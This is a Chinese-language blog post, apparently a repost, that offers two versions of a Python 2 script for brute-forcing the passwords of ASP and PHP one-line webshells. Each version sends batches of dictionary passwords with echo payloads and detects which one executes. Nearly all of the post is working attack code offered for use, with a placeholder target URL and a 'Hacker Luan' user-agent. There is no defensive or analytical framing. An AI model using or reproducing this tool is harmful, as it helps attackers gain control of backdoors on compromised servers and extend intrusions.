快速一句话爆破Python脚本

# set url,shell_type,dic filename
url = "http://172.16.18.2:8666/luan.asp"
shell_type = "asp"
dic_filename = "WebshellPassword.txt"
# add more payload , pay attention to format (output string "code_by_luan + password + code_by_luan")
php_payload = 'echo base64_decode(Y29kZV9ieV9sdWFu)."%password%".base64_decode(Y29kZV9ieV9sdWFu);'
asp_payload = 'Response.Write("code_"+"by"+"_luan%password%"+"code_"+"by"+"_luan")'
more_payload = ''
length = 1000
######
# Code By Luan
######
import urllib,urllib2
def post(url,data):
    try:
            req = urllib2.Request(url,urllib.urlencode(data))
            req.add_header("User-Agent","Hacker Luan // QQ:1524946693")
            response = urllib2.urlopen(req).read()
            print "Find Password : " + response.split("code_by_luan")[1]
    except Exception,e:
        return ""
print "Webshell Password Burp"
passwords = list(open(dic_filename))
i = 0
while(i < len(passwords)):
        if len(passwords) - i >= length:
                j = i + length
        else:
                j = len(passwords)
        exploit = {}
        for password in passwords[i:j]:
                password = password.strip('\n').replace("%domain%",url.split("/")[2]).replace("%domain_no_dot%",url.split("/")[2].replace(".",""))
                exploit [password] = eval(shell_type + '_payload.replace("%password%",password)')
        if post(url,exploit) != "":
                break
        i = j

修改基本参数可爆破asp,php的一句话,也可以自己添加更多的验证一句话的各种脚本代码
附上一个测试字典:

WebshellPassword.txt


修改版本:

url = "http://127.0.0.1/a.php"
shell_type = "php"
dic_filename = "WebshellPassword.txt"
php_payload = 'echo base64_decode(Y29kZV9ieV9sdWFu)."%password%".base64_decode(Y29kZV9ieV9sdWFu);'
asp_payload = 'Response.Write("code_"+"by"+"_luan%password%"+"code_"+"by"+"_luan")'
length = 1000
import urllib,urllib2
def post(url,data):
    try:
        req = urllib2.Request(url,urllib.urlencode(data))
        req.add_header("User-Agent","Hacker Luan // QQ:1524946693")
        response = urllib2.urlopen(req).read()
        print "Find Password : " + response.split("code_by_luan")[1]
    except Exception,e:
        return ""
print "Webshell Password Burp"
passwords = list(open(dic_filename))
for i in range(0,len(passwords),length):
    exploit = {}
    for password in passwords[i:i+length]:
        password = password.strip('\n').replace("%domain%",url.split("/")[2]).replace("%domain_no_dot%",url.split("/")[2].replace(".",""))
        exploit [password] = eval(shell_type + '_payload.replace("%password%",password)')
    if post(url,exploit) != "":
        break


  原文链接:http://www.5kik.com/other/555.html

相关文章

发表评论:

验证码

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。